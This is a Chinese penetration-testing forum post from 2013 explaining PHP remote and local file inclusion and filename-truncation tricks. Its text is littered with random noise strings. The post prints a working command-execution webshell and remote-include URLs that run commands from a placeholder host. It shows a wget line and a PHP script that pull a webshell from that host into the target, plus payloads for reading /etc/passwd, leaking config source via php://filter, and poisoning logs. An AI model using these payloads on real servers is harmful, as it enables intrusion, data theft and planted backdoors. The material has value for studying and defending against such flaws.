中国网络渗透测试联盟

标题: PHP文件包含漏洞详解(包含截断方法) [打印本页]

作者: admin    时间: 2013-4-19 19:07
标题: PHP文件包含漏洞详解(包含截断方法)
一、什么才是”远程文件包含漏洞”?; j2 x, K5 |3 {- N. R% e
( }/ B+ c, b0 X: @4 Z
回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
$ Y) w/ A5 Z* {( W/ ?) m, w* L5 F
涉及到的危险函数:include(),require()和include_once(),require_once()  N0 |  J9 F# H: S
  z0 W" |6 H5 h# t  F
Include:包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
" b. ?& j% R1 g1 pRequire:跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。; @( b" P/ D: t. }5 L2 F# z
Include_once:这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。: q8 W& G. D9 }- f% P6 @, U2 t
Require_once:这个函数跟require的区别 跟上面我所讲的include和include_once是一样的。所以我就不重复了。% ?; Y5 \' G& \6 k7 k

% U; \: s4 h# e( C$ E/ q1 Rphp.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。Php4存在远程&本地,php5仅存在本地包含。, d  h6 U$ c' \0 E
' m, k5 [$ x2 S/ t
二、为什么要包含文件?
2 B7 b7 @+ |+ C) V; `$ U
' B; m  A$ b3 V' Z! Z+ C程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比 如 share.php,而后在其它文件进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想 在 main.php里包含share.php,我将这样写include(“share.php”)就达到目的,然后就可以使用share.php中的 函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?% g5 C- N( n7 Y* p- z. f
2 @  N$ u! ]( }  c' H/ ^) i
有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:
0 @6 j: f: Y4 l& [( }+ K2 a2 E1 i$ h9 D6 @/ o+ D* d3 K
if ($_GET) {! W, [+ J3 h9 {7 Z" Y
        include $_GET;
4 f8 X6 J. L' d+ C  a} else {5 \! G0 d2 J: ]6 I" q
        include ”home.php”;0 W6 M) D+ ^7 Z, [7 k: S  n* x
}
8 |6 j0 i7 _" P) V/ @) x" |5 [
" M+ G# |4 L5 s很正常的一段PHP代码,它是怎么运作的呢?
2 p( r4 ?  Q6 _9 T- T8 a8 S7 s! C2 S3 y, I3 E4 P4 o$ m- e
上面这段代码的使用格式可能是这样的:
6 M7 c5 E" y6 W& ]- r- w3 v8 a6 _, ?: u/ c
http://hi.baidu.com/m4r10/php/index.php?page=main.php或者
# L5 T% }1 K' ^6 o% J) Ohttp://hi.baidu.com/m4r10/php/index.php?page=downloads.php* ~& Z% u+ h5 H# L+ ?
! i* D# I/ g$ _
结合上面代码,简单说下怎么运作的:+ Y3 [% }! Q; g! S
( Z0 O; G% [$ L0 ^, j
1.提交上面这个URL,在index.php中就取得这个page的值($_GET)。
0 V) X( c6 L8 n3 h. a% H' {4 ]2.判断$_GET是不是空,若不空(这里是main.php)就用include来包含这个文件。, r) M5 S. ?0 O0 ~" J1 J) V
3.若$_GET空的话就执行else,来 include ”home.php” 这个文件。1 t+ Q% W$ W3 D) {9 u6 z: ~( ~
& N- O! Q& a& `+ |6 H
三、为什么会产生漏洞?
' D! \8 h3 |" P, i, x6 Q  J" s  n% H7 `$ }
你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们 不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件,比如我们会随便的打入下面这个URL:http: //hi.baidu.com /m4r10/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取 page为hello.php,然后去include(hello.php),这时问题出现了,因为我们并没有hello.php这个文件,所以 它 include的时候就会报警告,类似下列信息:
3 [; y. E. K% c7 h3 q( ]  w* n4 s( }( M5 `6 i6 [
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
; A- @0 a+ Y% ?) C! ]8 J9 m+ YWarning: include() [function.include]: Failed opening ’hello.php’ for inclusion (include_path=’.:’) in /vhost/wwwroot/php/index.php on line 39 B3 O0 R3 u0 y: u- y- |

/ \4 f% g1 ?4 A1 ~2 S% K, [$ A注意上面的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;而后面的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。! H. J& F  n8 ]$ Q7 |; p

* }3 t. ?% l9 g9 P" b) o, @四、如何利用?
9 Y8 l$ Q* \/ E" q5 v5 e2 L4 w  M# j: g' T' k" v2 t" G
上面可以看到,问题出现了,那么我们怎么利用这样的漏洞呢,利用方法其实很多,但是实质上都是差不多的,我这里说三个比较常见的利用方法:! H! v+ z+ E5 y, I9 c- i) V
7 R% g8 b1 _2 o, A
1.包含读出目标机上其它文件5 v+ Y" X1 V$ Q
6 L1 y2 _! n5 z' s, G) k
由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,例如在前面的警告中,我们可以看到暴露的绝对路径(vhost/wwwroot/php/),那么我们就可以多次探测来包含其它文件,比如指定URL为:http://hi.baidu.com /m4r10/php/index.php?page=./txt.txt可以读出当前路径下的txt.txt文件,也可以使用../../进行目录跳转 (在没过滤../的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:http://hi.baidu.com/m4r10 /php/index.php?page=/etc/passwd,如果目标主机没有对权限限制的很严格,或者启动Apache的权限比较高,是可以读出 这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning(这里是由于apache的open_basedir中限制了访问目录)。
6 h. p$ B% L) v) g9 k9 N; N" a3 P0 y, S3 S- _
2.远程文件包含可运行的PHP木马+ u$ V' G3 C  ?. l$ f; {% p: Y/ r) [
" w& e9 m5 `2 P& U; c; d
如果目标主机的”allow_url_fopen”是激活的(默认是激活的,没几个人会修改),我们就可以有更大的利用空间,我们可以指定其它 URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码,如下保存为cmd.txt(后缀不重要,只要内容为 PHP格式就可以了)。5 X6 g" ^1 p* Q: \! c* e; k. l; n$ b

' O! Y$ j& [+ \" yif (get_magic_quotes_gpc()){$ P: E5 p/ m% J) B* [! J4 P
        $_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)  z- ^' p8 t; R7 |% o  G
        ini_set(“max_execution_time”,0); //设定针对这个文件的执行时间,0为不限制." X2 d5 A* H6 z2 l7 I4 J
        echo ”M4R10开始行”;       //打印的返回的开始行提示信息) S9 j$ Y; {; S8 C9 H
        passthru($_REQUEST["cmd"]);   //运行cmd指定的命令
+ [- `$ R" l% |3 H# ?$ v# j        echo ”M4R10结束行”;       //打印的返回的结束行提示信息
% r+ T2 B  S, l4 v6 E?>
) s+ w7 w. R* L& B6 k( O; Q4 K  c$ d7 s* F9 Z# u; A2 b$ @1 K$ {7 k4 s
以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在M4R10开始行与M4R10结束行之间。把这个文件 保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了:! b9 K+ g: q& ^' H4 r, W7 g6 t

2 E4 C: O/ M6 i, |. h9 R. L0 dhttp://hi.baidu.com/m4r10/php /index.php?page=http://www.xxx.cn/cmd.txt?cmd=ls
' f7 d/ s, `* b8 e8 f; A& G% X: B2 l7 F% @9 Q
其中cmd后面的就是你需要执行的命令,其它常 用的命令(以*UNIX为例)如下:
- I: F8 {8 p& s0 B% V+ y* K
' e! w( i9 |8 d8 m% Z$ d( k% zll 列目录、文件(相当于Windows下dir)
7 V8 F5 r. W: Jpwd 查看当前绝对路径, \# M/ s. [* ?
id whoami 查看当前用户
* i5 I) O8 {4 }$ lwget 下载指定URL的文件' p* t% T. _* K, r2 N0 h0 p
: k" m5 k0 R1 F
等等其它的,你主机去BAIDU找吧,就不列举了。
0 k6 q. S$ s& n; f7 _, t) w2 S7 s4 W% L2 u- A6 ]' s1 f9 [# p
3.包含一个创建文件的PHP文件(常用)" k# h- g. n+ U- |, P7 n$ w

4 W8 Y; x! z0 S" F0 K$ n3 v+ C  {* K" f% ?也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那 个” 伪”Webshell了,不是么?可以理解这个心态,我们继续。得到一个真实的Webshell,我们也说两种常见的方法:8 G4 T: M% ~, Y8 g2 J! C. [
1 y2 ?) E( F7 g7 z6 J+ w% z% I
1)使用wget之类的命令来下载一个Webshell, v7 S) e2 L! c7 d4 M- L1 C8 b
- z% b( C6 x9 F6 G
这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以调用系统中的一个很厉害的角色,wget, 这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个 -O(–output- document=FILE,把文档写到FILE文件中) 就可以了,呵呵。* n+ m" Q' ]3 C* d0 b  L
( p; {5 n" \; a. x9 `
前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比 如:http://www.xxx.cn/m4r10.txt,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪 Webshell中 执行如下的URL:0 H$ S: T- w! e& t1 |0 E% O/ E9 r
5 ]$ w. `2 R/ d
http://hi.baidu.com/m4r10/php/index.php?page=http://www.xxx.cn /cmd.txt?cmd=wget http://www.xxx.cn/m4r10.txt -O m4r10.php
" r- ^; ^) F7 B. j% d) q
; X' W4 ?- X; {% I9 i如果当前目录可写,就能得到 一个叫做m4r10.php的Webshell了,如果当前目录不可写,还需要想其它的办法。
3 z4 j" ~$ ~1 ]* D, l( e. c. a: s, Y& M6 L8 O7 A
2)使用文件来创建- g* e1 {- {7 T5 D
2 l, O9 j) L! i; `9 S  a
前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令,我们又需要变通一下了,我们可以结合前面的包含文件漏洞来包含一个创建文件(写文件)的PHP脚本,内容如下:4 e6 r# t1 o; l7 ~( g# L/ I, r
& b6 F3 t( E# G* z2 _
<?php
% y! B$ U9 w5 z* P$f=file_get_contents(“http://www.xxx.cn/m4r10.txt”); //打开指定路径的文件流1 F/ k; U/ X2 u# [& G
$ff=fopen(“./upload/m4r10.php”,”a”);     //寻找一个可以的目录,创建一个文件
; R$ J. q5 [! Xfwrite ($ff,$f);  //把前面打开的文件流写到创建的文件里
% |0 T1 V- ], `- M) f" v; Zfclose($ff);    //关闭保存文件. Q3 T2 x8 M  r, z
?>
, c0 J6 k6 F& [. p
% f, \7 H' \; i% R还是写入我们上面用wget下载的那个php文件,但是我们改进了方法,用PHP脚本来实现,可以使用上面的cmd.php?cmd=ll查找可以 写的目录,比如这里的upload,然后把文件创建在这个目录下:./upload/m4r10.php。然后就得到我们的Webshell了。
; b% l$ C! ?3 i8 p! Y& K
0 c0 r( r- e- R/ L& E  @4.本地文件包含(常用)1 ]! @9 l; T: E  ^) d
. C. Y3 I; f1 l2 G
典型的漏洞代码:
+ O( ]% V, p( K: y+ T7 A: f5 Z# ~9 y6 P# `( J0 k
<?php* G" K. A1 l8 D0 g- [
include($_GET['pages'].‘.php’);5 P! i+ ]+ F2 p4 _# b4 `! R
?>
3 C6 o8 V! O( ^* u5 D5 R, S! c
6 T7 I6 r. T# o0 g黑盒判断方法:9 {: h1 |8 v' M8 @# g* g/ U9 n# ^
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。: x8 s0 ?* E- f4 Q( g8 D
* v4 \; O# M6 a
本地包含漏洞的利用(这里先忽略截断问题,下面会将截断的方法)
; J5 y' P& |. J: }
) H1 {) ~* b- n( i6 t, e1、包含同服务器中上传的jpg、txt、rar等文件,这个是最理想的情况了。" S$ D1 g/ h* K, M" N" o
1 X. ?& ^) l. Y. u0 c* Z6 v% N( j1 h
2、包含系统的各种日志,如apache日志,文件系统日志等 其中apache当记录格式为combined,一般日志都会很大,基本无法包含成功。包含log是有自动化攻击程序的。
; ~! B/ y. f, G, L9 w) }- f其中鬼子的博客中有提到一个空格的问题。见4 ^7 D) B* I# ~7 r
《邪恶的空格-PHP本地文件包含漏洞的新突破口》
' N; b7 M8 N( lhttp://huaidan.org/archives/1144.html
5 n8 i; y5 c" j. v" ^0 p6 D% l% {解决空格问题其实把一句话base64加密后再写入就可以执行了。
- x! n: U0 L+ N$ F( v5 o# \6 E. c+ _& Z* T9 E3 H# G( e
3、包含 /proc/self/environ . 这个环境变量有访问web的session信息和包含user-agent的参数。user-agent在客户端是可以修改的。参考:
' d' S7 y% V: l7 c《Shell via LFI – proc/self/environ method》
/ H2 }3 Y$ u" H( A9 ihttp://hi.baidu.com/root_exp/blo ... 42664fd7887d7d.html  , y7 o0 ?$ a8 Q1 x( z8 G

# W; M. y) V) ~. a4、包含由php程序本身生成的文件,缓存、模版等,开源的程序成功率大。1 ~, i  N9 U' ?" {9 y7 b8 R
( E# \. \) I& o+ C5 S2 N& Z
5、利用本地包含读取PHP敏感性文件,需要PHP5以上版本。如看到“config”的源码如下
# y- g; J/ g; o* C) a* }/ Nindex.php?pages=php://filter/read=convert.base64-encode/resource=config
# S# F6 _5 F* O9 I$ u0 S* I特别的情况用到readfile() 函数不是包含执行,可以直接读源码。
5 `0 h: h9 y1 l* M; u
# {8 a8 ~0 J) \- l; K) E, C6、利用phpinfo页面getshell。一般大组织的web群存在phpinfo的机会挺大的。
* z# x4 d+ a. ?1 ?5 dpoc和介绍参考:) b' z+ U# a# O6 k6 w1 k* e5 ]
《利用phpinfo信息LFI临时文件》4 E" c( b( }( `, n& R( l5 t
http://hi.baidu.com/idwar/blog/item/43101de153370126279791f2.html$ G" P1 Q* M( ?0 k
- m: s+ v2 d( E. U$ ?) C' L
7、利用包含出错,或者包含有未初始化变量的PHP文件,只要变量未初始化就可能再次攻击 具体见:! X- a  m5 w1 I; Z: z
《include()本地文件包含漏洞随想》; a9 L# S+ m  s# K
http://www.2cto.com/Article/200809/29748.html
8 F9 u4 M3 e: D% P9 q! X+ @. x: S3 u
8、结合跨站使用+ `. ]3 y5 X/ N$ P3 L! z# J8 q7 q. J# I7 {
index.php?pages=http://127.0.0.1/path/xss.php?xss=phpcode (要考虑域信任问题)
" l8 T& S/ b' H4 }& N
: U! L4 N+ D) Y# O$ U: j. b; Q9、包含临时文件文件。这个方法很麻烦的。参考:
, m, D! C) Y; C7 J《POST method uploads》8 N. Y: e1 b( Y1 {  l( V
http://www.php.net/manual/en/features.file-upload.post-method.php
7 H, S8 f0 t1 n, W9 i3 N/ J解决临时文件删除方法:慢连接 (注:前提是 file_uploads = On,5.3.1中增加了max_file_uploadsphp.ini file_uploads = On,5.3.1中增加了max_file_uploads,默认最大一次上传20个)0 l$ n3 @* u: V; I$ h. a$ L
windows格式:win下最长4个随机字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′)如: c:/windows/temp/php3e.tmp6 B9 y$ b. O5 I1 D4 i' J2 l
linux格式:6个随机字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′) 如:/tmp/phpUs7MxA: \- P1 _, A- j. S) W- ]1 y' A* n: ?" I
慢连接的两种上传代码参考:
- V2 {+ N- ~6 D, v, B《PHP安全之LFI漏洞GetShell方法大阅兵》# B& u4 r3 m( j0 s
http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm  
0 u$ Q% @" T) v6 R, y, g( ~
% ~/ Y9 [  i9 M10、当前实在找不到写权限目录时候,注入到log中再寻找写权限目录。如注入到log.
. F7 K) ?6 c8 z; }) A" gLinux: index.php?pages=/var/log/apache/logs/error_log%00&x=/&y=uname& u1 `* _7 {+ J. b5 F3 s3 N' M8 D
windows: index.php?pages=..\apache\logs\error.log%00&x=.&y=dir
$ j1 _/ p" c- f' h# n" @具体参考《PHP本地文件包含(LFI)漏洞利用》
" K* t* a/ }6 s" @* g& Nhttp://kingbase.org/blog/php_local_file_inclusion_exploit0 I7 o% z; p' L, I; S( ~4 h* W

+ U7 R* |! _/ Y; w4 F11、使用php wrapper例如php://input、php://filter、data://等包含文件 在《PHP 5.2.0 and allow_url_include》//http://blog.php-security.org/archives/45-PHP-5.2.0-and-allow_url_include.html 其中文中提到的allow_url_fopen和allow_url_include只是保护了against URL handles标记为URL.这影响了http(s) and ftp(s)但是并没有影响php或date 这些url形式。
, g, B! S( x; c12、LFI判断目录是否存在和列目录,如; \2 O1 k9 n. Y
**index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00$ T& W# U5 U* C, i
**这个方法在TTYshell上是可以完全是可以判断的,但是在URL上有时候不可行。即使不存在dossierexistant也可以回显passwd内容。6 ^! ]( z+ J. ]/ x: N
index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
  G, e( v" D& b! J" g5 Q* X**FreeBSD 《directory listing with PHP file functions》http://websec…ress.com/2009 … php-file-functions/ 列目录
1 Z; _0 \- X6 n4 L1 H4 ~1 C**存在逻辑判断的时候,如不存在该目录就会返回header.php+File not found+footer.php 存在就会返回header.php+footer.php。这种逻辑很符合程序员的习惯。曾经用找到了一个目录很深的日志获得shell。
8 o. S) a( o4 f( s  g" F; r! |( p* m, u+ T& r) g
13、包含SESSION文件,php保存格式 sess_SESSIONID 默认位置是/tmp/(PHP Sessions)、/var/lib/php/session/(PHP Sessions)、 /var/lib/php5/(PHP Sessions) 和c:/windows/temp/(PHP Sessions)等文件中。
0 y# ?% Y1 E; K9 n# c, o0 O4 n- g
2 M( j9 C$ C+ v! g3 D, L  Y* Y  }1 l14、包含 /proc/self/cmdline 或者/proc/self/fd/找到log文件 (拥有者为root,默认情况要root才能访问)( K( M/ L7 M$ B, a* n) m) ~; n) N; b7 e
具体参考:" K" {$ ?  m6 v% u- e8 d0 H! F' m$ Z0 E; T
Local File Inclusion – 《Tricks of the Trade》5 O7 h4 _; d, r) y0 `" O8 h
http://labs.neohapsis.com/2008/0 ... ricks-of-the-trade/  
' m# o" o2 [, |; d  e* B* u( k还有其他提到包含/var/log/auth.log的,但是这个文件默认情况也是644.
# \  v3 H. r& }& p+ r) q8 q2 }0 c* l( \" ^' i2 ]+ t# |) C
15、包含maillog 通常位置/var/log/maillog 这个方法也很鸡肋,具体参考:
0 T; ^7 ~, m9 j" i. G' L《local file inclusion tricks 》7 }9 E! T) U& |' E/ p3 N
链接找不到了
4 m; @" f4 l+ s' u
  t- T6 H$ Z& `* m7 _9 _16、包含固定的文件,非常鸡肋,为了完整性也提下。如,可用中间人攻击。( P$ a( C7 u7 ~" W) W1 ^+ V
& O: F' }0 p0 ]; W  x/ _
突破限制截断后面的字符串技巧7 g( K+ W' @5 q% E  I0 X3 B# [
. G% B' o( ^3 g
利用本地包含时常常需要用%00来截断后面的字符串,但在GPC为ON时%00是会被转义的,那么还有其他方法么?! T' V  z! g) z8 `; G
% @1 d) r4 y/ k) n: t% {% j
用一定数量的/突破操作系统对文件名的长度限制来截断后面的字符串(推测相对路径可用)
  o$ T( O" R; {/ h- c
* I, ?/ z! l" \, L+ N看漏洞代码:# u9 c; j  R0 L3 S( q
) q* ]( I) b# y2 Q- o" S; b- e$ T
<?php2 V7 f5 C* E8 O
$webpath = dirname(__FILE__)."/";; X  Q6 A% J$ s( q6 Y0 s0 ~) C
$filepath = "test.txt";1 w& j5 }# m* B) r9 h) Y1 p! ~) |; A
for($i =1;$i<1000;$i++){7 |; ^) m  u; J, l1 Y
$filepath .= '.';& [/ T1 f, a& Z3 ]: T% W0 k
}
3 K7 H: S8 W# h9 Vinclude  $webpath.$filepath.".php";
# L' F# C6 Y: y9 m( l3 n?>( ?' f% @  v7 D
test.txt 代码:<?php die('OK');?>; h4 H' i& Y. J1 d" X0 j

! R2 Q+ A1 g9 n. _结果截断失败,改下代码:
; e, Z* q' n2 y& r+ P  \& Y* u: L+ [7 E5 d1 v
<?php
. Y) a( d$ s$ b0 |$webpath = dirname(__FILE__)."/";
. ~& n( @  z( M% i3 _5 g8 k$filepath = "test.txt";
3 n: K% Q" t( Zfor($i =1;$i<1000;$i++){
( v: Z# Q$ M3 l' Y9 K$filepath .= '.';2 |. x+ e! v2 g' X( A0 d. i' p
}
; x4 C7 {: h# E1 h' \include    $filepath.".php";  //相对路径
, u* t  Y0 z3 ]( h% w, i2 E+ u; W?>5 V  ]' J8 ~; N' J

  K* q6 f7 H, O% w  x6 B 这次成功。
' m. A; i7 o* r- Y, ~/ h7 J" X8 H$ H1 q
以上是windows下的方法,其实linux也可以:0 j" p) X; z. M: {, k( {: k( q
" L  [/ J1 b6 i% A+ W# O3 a
<?php1 _! D$ F0 y' V! D" A/ a/ q" Q" O
$a='';2 u& F6 ^1 q4 B# \0 S3 ?
for($i=0;$i<=4071;$i++) {
: Z4 r- s6 Y/ C- U, b% d/ e$a .= '/';
4 @: w& s. x2 `! ^}
5 {4 @! Q+ N( ]0 F$a = 'test.txt'.$a;                //完整的路径为/var/www/test/test.txt
% e$ |. H* {/ v! m! Y1 xrequire_once($a.'.php');, o0 A. [5 I& c& K0 v
?>
; j! w4 X0 l2 z1 {5 o6 |: Z% ~8 \& T/ J! o. G6 n1 d8 z
include截断; c' b0 f. d! k# a
<?php ; P: b- \# {) a2 F9 {5 S
include $_GET['action'].".php"; ?>提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?
6 ?4 F3 a" ~# {' r6 S  F
: r. \2 m2 B: Y4 l肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:
( E; n3 Y, L3 W! I0 \
) W& Q- h7 u/ J3 }/ r; C( U0 g0 }9 E  C, H! B
<?php////////////////////////var5.php代码:////include $_GET['action'].".php"; ////print strlen(realpath("./"))+strlen($_GET['action']);  ///////////////////ini_set('max_execution_time',
8 L7 p9 g6 Q- s- ~% _                        0);$str='';for($i=0;$i<50000;$i++){        $str=$str."/";        $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);        //1.txt里的代码为print 'hi';        if3 m) L5 ~- z' ]( F$ l' c
                        (strpos($resp,
$ a# U# c% N% j! Y" I2 T                        'hi')
2 E+ X- M( U# Z$ T4 ?                        !==
2 v) D, K( d5 ?* n( f0 Y        经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断 win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。 对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])                false){                print $i;                exit;        }}?>1 w2 A0 ?) ]' J; J$ c5 v





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2